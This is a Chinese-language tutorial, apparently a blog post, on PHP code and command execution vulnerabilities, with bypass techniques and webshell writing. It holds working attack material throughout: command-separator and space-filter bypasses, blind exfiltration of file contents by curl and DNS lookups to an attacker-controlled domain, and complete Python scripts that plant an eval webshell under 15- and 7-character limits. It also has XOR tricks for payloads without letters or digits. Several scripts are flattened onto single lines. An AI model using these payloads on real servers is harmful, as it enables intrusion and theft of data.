目录

0x00 代码执行相关函数

1.mixed eval(string code_str)

2.bool assert ( mixed $assertion [, string $description ] )

3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )

4.mixed call_user_func_array( callable $callback , array $param_arr)

5.string create_function( string $args, string $code )

6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )

7.array array_map( callable $callback , array $array1 [, array $... ] )

8.bool usort( array &$array , callable $value_compare_func)

9.bool uasort( array &$array , callable $value_compare_func)

10.${php代码}

0x01 命令执行相关函数

0x02 命令执行绕过技巧

绕过空格过滤的方法:

0x03 命令无回显的情况

#利用延时

#让目标服务器向我们的服务器发请求

#让目标服务器发送DNS请求

0x04 命令执行漏洞的利用方法

0x05 可控字符串长度受限情况下getshell

15个字符可控

7个字符可控:

5位可控字符:

4位可控字符:

0x06 无字母数字getshell


0x00 代码执行相关函数

由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。

代码/命令注入攻击中Web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的最主要原因。

代码注入相关函数:

1.mixed eval(string code_str)

eval() 把字符串作为PHP代码执行

code_str是PHP代码字符串

2.bool assert ( mixed $assertion [, string $description ] )

assert 检查一个断言是否为FALSE

assertion是字符串,它将会被当做PHP代码来执行

assert("system(pwd)");
echo "123";
assert("eval('echo 888;')");
echo "123";

3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )

callback是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数。

可以传递任何内置的或者用户自定义的函数

除了array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和unset()

虽然eval不能调用,但是可以通过assert来绕过该限制

同时system函数也是可以调用的

call_user_func("assert","eval('echo 123;')");
call_user_func("system","ifconfig");

4.mixed call_user_func_array( callable $callback , array $param_arr)

callback被调用的回调函数,param_arr要被传入回调函数的数组。

5.string create_function( string $args, string $code )

create_function—Create an anonymous (lambda-style)

functionargs是要创建的函数的参数,code是函数内的代码。

$func = create_function('$param','echo $param;');
$func("hello word");
$func2 = create_function('','phpinfo();');
$func2();

6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )

执行一个正则表达式的搜索和替换

/e 修正符使preg_replace将replacement 参数当做PHP 代码

7.array array_map( callable $callback , array $array1 [, array $... ] )

array_map :为数组的每个元素应用回调函数

利用场景:

<?php
highlight_file(__FILE__);
$arr[0] = $_GET['b'];
$func = $_GET['a'];
$ret= array_map($func,$arr);

8.bool usort( array &$array , callable $value_compare_func)

usort 使用用户自定义的比较函数对数组中的值进行排序

<?php
highlight_file(__FILE__);
// var_dump($_GET);
var_dump(...$_GET);
usort(...$_GET);

9.bool uasort( array &$array , callable $value_compare_func)

uasort:使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

使用方法同上

10.${php代码}

${phpinfo()}; 也是可以执行的

0x01 命令执行相关函数

1.string system(string command, int &return_var)

可以用来执行系统命令并将相应的执行结果输出

2.string exec (string command, array &output, int &return_var)

command是要执行的命令,output是获得执行命令结果的全部内容,return_var存放执行命令后的状态值

该函数的返回值只是命令执行结果的最后一行内容。

如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。

如果想要获取命令的输出的全部内容, 请确保使用 output 参数。

<?php
$ret = exec("ls",$output);
var_dump($ret); //返回值只是命令执行结果最后一行的内容
var_dump($output); //获取命令执行结果的全部内容

3.void passthru (string command, int &return_var)

直接执行并输出结果

command是要执行的命令,return_var存放执行命令后的状态值

4.string shell_exec (string command)

command是要执行的命令

5. `` 运算符

可以直接执行系统命令

<?php
$a = 'ifconfig';
echo `$a`;

6.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start 打开输出控制缓冲

也就是说当执行echo 函数时,echo函数的参数会先传入ob_start执行的回调函数,

然后将回调函数的结果echo出来

<?php
ob_start('system');
echo "pwd";
ob_end_flush();

经试验:php7.3 该函数真实有效

0x02 命令执行绕过技巧

例如有这样一种情况

如何去实现命令执行?

利用系统分割符:

  1. 换行符 %0a
  2. 回车符 %0d(没成功)
  3. 连续指令 ;
  4. 后台进程 &
  5. 管道符 |
  6. (逻辑?)|| &&

上题可以使用的方式:

http://localhost:8888/xss/assert.php?a=%0apwd
http://localhost:8888/xss/assert.php?a=;pwd
http://localhost:8888/xss/assert.php?a=|pwd

绕过空格过滤的方法:

可以代替空格的符号:

<

${IFS}

%09 用于url传递,是\t的url编码

cat<index.html
cat${IFS}index.html
cat$IFS'index.html'
cat$IFS$1index.html
cat$IFS$2index.html
...

其他一些绕过思路:

1.命令拼接:

2.用base64对命令进行编码,然后在执行前对命令进行base64解码

反引号中的值会作为命令执行

3.substr string pos len

该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos 或len为非正整数时,将返回空字符串。

expr 是一个计算器,用于字符串可以抓取字符串的值

> expr substr “this is a test” 3 5
is is

/
echo "${PATH:0:1}”
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

$PWD是从环境变量中读取

$(pwd)是一条命令

0x03 命令无回显的情况

判断命令是否执行方法:

延时

HTTP请求

DNS请求

#利用延时

ls|sleep 3

例如:

<?php
highlight_file(__FILE__);
exec("echo 123".$_GET['a']);

#让目标服务器向我们的服务器发请求

比如我们的服务器上用nc开一个端口

让目标服务器

用curl 我们的服务器地址:端口 去向我们的服务器发送一个http请求

如果命令成功执行,我们这边就能收到http请求

#让目标服务器发送DNS请求

可以让目标服务器用

nslookup  我们控制的dns服务器域名

发送dns域名解析请求(可以用http://ceye.io的dns服务器)

如果命令成功执行,这边就会收到dns请求

0x04 命令执行漏洞的利用方法

#写shell

#用http/dns等方式带出数据

可以用sed将文件中空格剔除掉,然后将文件内容拼接到ceye.io 给你分配的域名前,然后

ping这个域名,附带发出dns请求

结果:

局限性:文件内容不能太长

0x05 可控字符串长度受限情况下getshell

15个字符可控

思路:虽然限制了使用命令的字数,但是没有显示使用命令的次数

touch 1

然后将"<?php eval($_GET[1]);"分多次追加写入该文件

echo \<?php >1

echo 'eval'>>1

echo '($_GET'>>1

echo '[1])'>>1

echo ';'>>1

因为>>追加写会自动换行,所以每行必须确保关键字完整。

mv 1 1.php

一个简单的利用代码:

import requests base_url = "http://localhost:8888/loophole-recurrence/codeexe/15.php?1="def split_list_by_n(list_collection, n):"""按照长度分割字符串为数组"""arr = []for i in range(0, len(list_collection), n):arr.append(list_collection[i: i + n]) return arrdef touchFile(filename):url = "%stouch %s"%(base_url,filename)requests.get(url)def renameFile(filename):url = "%smv %s %s.php"%(base_url,filename,filename)requests.get(url)def writePayload(payload,filename,limit_len):str = "echo ''>>%s"%(filename)base_len = len(str)if(base_len > limit_len):print("长度不够")exit(0)eff_len = limit_len-base_lenpayload_list = split_list_by_n(payload,eff_len)for p in payload_list:url = "%secho '%s'>>%s"%(base_url,p,filename)requests.get(url)def writer(payload,limit_len):filename='1'touchFile(filename)writePayload(payload,filename,limit_len)renameFile(filename)if __name__=='__main__':payload = "<?phpeval($_GET[1]);"writer(payload,15)

7个字符可控:

如果只有7个字符可控,那么用echo ''>> 这种写入文件的方法显然是不行的

必须寻找其他思路

思路:

除了touch 可以创建文件,直接用>文件名也可以创建文件,而且命令字符数更短

ls>文件名 则可以将当前目录下的所有文件名分行写入我们创建的文件

ls -t 基于时间排序,最新的文件排在最前面

sh 文件名 则会将文件中的内容做为shell代码来执行

长命令可以利用 \ 来换行分割

demo:

为了避免一些敏感字符的转义问题,可以使用base64先将payload编码

过程:

1.准备payload

2.将payload分割成数组,将该数组逆序调整一下(因为ls -t 是将最新创建的文件放在最前面)

3.遍历数组,发送创建文件的请求

4.发送创建shell脚本的请求

5.发送执行shell脚本的请求

一个更完善的利用脚本:

'''
Date: 2021-02-04 13:17:12
LastEditors: 无在无不在
LastEditTime: 2021-02-04 15:57:00
'''
import requests
import base64base_url = "http://localhost:8888/loophole-recurrence/codeexe/7.php?1="def split_list_by_n(list_collection, n):"""按照长度分割字符串为数组"""arr = []for i in range(0, len(list_collection), n):arr.append(list_collection[i: i + n]) return arrdef touchFile(filename):url = "%stouch %s"%(base_url,filename)requests.get(url)def renameFile(filename):url = "%smv %s %s.php"%(base_url,filename,filename)requests.get(url)def writePayload(payload,filename,limit_len):str = "echo ''>>%s"%(filename)base_len = len(str)eff_len = limit_len-base_lenpayload_list = split_list_by_n(payload,eff_len)for p in payload_list:url = "%secho '%s'>>%s"%(base_url,p,filename)requests.get(url)def createShellPayloadSliceList(php_payload,limit_len):"""通过php_payload生成对应shell_payload切片数组"""base64_php_payload = base64.b64encode(php_payload.encode('utf-8')).decode("utf-8")sh_payload = "echo %s|base64 -d>2\.php"%(base64_php_payload)base_len = len(">''\\")eff_len = limit_len-base_lenpayload_list = split_list_by_n(sh_payload,eff_len)payload_list.reverse()return payload_listdef create_file_list(php_payload,limit_len):"""将payload分割为文件列表"""payload_list = createShellPayloadSliceList(php_payload,limit_len)for i in range(len(payload_list)):  if(i!=0):url = "{base_url}>'{payload_slice}\\'".format(base_url=base_url,payload_slice=payload_list[i])else:url = "{base_url}>{payload_slice}".format(base_url=base_url,payload_slice=payload_list[i])requests.get(url)
def createShellScript(filename):"""将文件列表写入sh脚本"""url = "{base_url}ls -t>{filename}".format(base_url=base_url,filename=filename)requests.get(url)def executeShellScript(filename):"""执行shell脚本"""url ="{base_url}sh {filename}".format(base_url=base_url,filename=filename)requests.get(url)def slice_writer(payload,limit_len):"""通过分割写的方法写入文件"""payload = payload.replace(" ","")filename='1'# 1.创建文件touchFile(filename)# 2.将payload切割,分多次写入文件writePayload(payload,filename,limit_len)# 3.将该文件重命名为php文件renameFile(filename)def ls_writer(php_payload,limit_len):"""通过ls的方法写入文件"""# 1.将payload切割,以切片为文件名生成一堆文件create_file_list(php_payload,limit_len)filename ='0'# 2.将一堆文件名写入一个shell文件createShellScript(filename)# 3.执行该shell文件,即执行payloadexecuteShellScript(filename)def main():limit_len = 7payload = "<?php eval($_GET[1]);"if(limit_len>=15):slice_writer(payload,limit_len)elif(limit_len>=7):ls_writer(payload,limit_len)else:passif __name__=='__main__':main()

脚本生成的shell文件 0

0
ech\
o P\
D9w\
aHA\
gZX\
Zhb\
Cgk\
X0d\
FVF\
sxX\
Sk7\
|ba\
se6\
4 -\
d>2\
\.p\
hp
exploite.py
7.php
15.php

5位可控字符:

因为ls -t>0 有7位,所以上述代码执行的最低要求:可控命令长度有7位

思路:通过追加写确保顺序

>ls\\

ls>a

>\ \\ 加一个空格

>-t\\

>\>0

ls>>a

4位可控字符:

ls -t >0

思路:

第一步:创建以下文件:

>dir
>f\>
>pt-
>sl

第二步

输入*>v,这样就会执行dir命令,并将结果写入v

第三步

>rev 创建rev文件

*v>0 这样就会执行 rev v>0 即:

sh 0 就会执行该代码

为什么用dir而不用ls:

这就是用dir的原因

0x06 无字母数字getshell

核心思想:如何通过无字母数字来生成字母数字

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符

例题:

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long");}if(preg_match('/[A-Za-z0-9]+/',$code)){die("NO");}@eval($code);
}else{highlight_file(__FILE__);
}

思路:

非字母、数字字符 的ascii码经过异或可以生成字母的ascii码

<?php
/** @Date: 2021-02-06 14:22:10* @LastEditors: 无在无不在* @LastEditTime: 2021-02-06 14:43:46*/
$a = '`~!@#$%^&*()_+{}:"|<>?.\,[]\'';
$AZ=[];
$az=[];
$digits=[];
for($i=0;$i<strlen($a);$i++){for($j=0;$j<strlen($a);$j++){$result = ord($a[$i]^$a[$j]);if($result>=ord('A')&&$result<=ord('Z')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$AZ[chr($result)][] = $info;}elseif($result>=ord('a')&&$reuslt<=ord('z')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$az[chr($result)][] = $info;}elseif($result>=ord('0')&&$result<=ord('9')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$digits[chr($result)][] = $info;}}
}
echo "<pre>";
var_dump($AZ);
var_dump($az);
var_dump($digits);
echo "</pre>";

一个简单的利用脚本:

<?php
$a = '`~!@#$%^()_+{}:"<>?.\,=[]';
$words=[];
for($i=0;$i<strlen($a);$i++){for($j=0;$j<strlen($a);$j++){$xor = ord($a[$i]^$a[$j]);if(($xor>=ord('A')&&$xor<=ord('Z'))||($xor>=ord('a')&&$xor<=ord('z'))||($xor>=ord('0')&&$xor<=ord('9'))){$words[chr($xor)][] = [$a[$i],$a[$j]];}}
}
function generatePayloads($str,$words){$right = '';$left ='';for($i=0;$i<strlen($str);$i++){$w = $str[$i];$right.=$words[$w][0][0];$left .=$words[$w][0][1];}return "'$right'^'$left'";
}
$ret = generatePayloads("getFlag",$words);
$base_url = 'http://127.0.0.1:8888/loophole-recurrence/CodeExe/eval.php?code=';
$payload = '$_='.$ret.';$_();';
$url = $base_url.$payload;
$resp = file_get_contents($url);
var_dump($resp);

PHP代码/命令执行漏洞总结相关推荐

  1. [ web 漏洞篇 ] 常见web漏洞总结之 RCE 远程代码 / 命令执行漏洞总结

  2. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

  3. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  4. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  5. 远程命令执行漏洞与远程代码执行漏洞33333

    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...

  6. REC代码及命令执行漏洞

    RCE代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行 ...

  7. WEB漏洞—RCE 代码及命令执行漏洞

    什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...

  8. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  9. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

最新文章

  1. 怎么判断膝关节错位_路走多了,膝盖疼是怎么回事?
  2. TFLearn MNIST
  3. 乒乓球十一分制比赛规则_乒乓球竞赛规则 赛制和比赛规则
  4. redhat linux 设置ip,REDHAT LINUX企业版更改IP地址,网关,DNS和MAC地址----字符界面
  5. 【精品毕设】电力电子仿真——母线继电保护动作行为仿真分析系统
  6. 读书笔记《TAOCP》 V1 S1.1
  7. 测试用例的设计要素以及设计测试用例的方法
  8. 服装网站建设策划书-服装网站建设目的需求分析策划书
  9. 图片相似原理 - Java实现
  10. Mysql的INTERVAL()函数和INTERVAL关键字
  11. 天 下 难 事 , 必 作 于 易 , 天 下 大 事 , 必 作 于 细 -道德经的哲学
  12. 家谱宗族网站源码_家谱管理系统(源代码)
  13. getchar()函数的作用
  14. 隆重公有化财团成员交恶 中绒遭深交所询问
  15. 《后端》开放平台API安全设计
  16. 娇兰佳人匠心打造全新品牌 智美试妆镜助力智能领跑
  17. 计算机毕业设计ssm社区生鲜电商平台dq96z系统+程序+源码+lw+远程部署
  18. IOS label设置多行显示并且文字在最上方显示
  19. 大数据在油气行业的应用前景展望(二)
  20. java 中的socket_Java中Socket用法详解

热门文章

  1. Minitab 19.1.0.1 x64 中文免费版
  2. 第15课:Spark Streaming源码解读之No Receivers彻底思考
  3. ssm基于Android社区生鲜O2O订购系统设计与实现毕业设计源码231443
  4. UG二次开发初探:捕捉点生成块
  5. API 和 SDK 的区别
  6. 通信原理与MATLAB(九):DPSK的调制解调
  7. 京东商城颁布退还两周内iPad一代购置差价
  8. 性格测试c语言程序,性格测试题目及答案
  9. 测绘技术设计规定最新版_测绘标准及规范(附带下载)
  10. php有什么用可以定时发微博,php人性化时间(类似微博)转换两组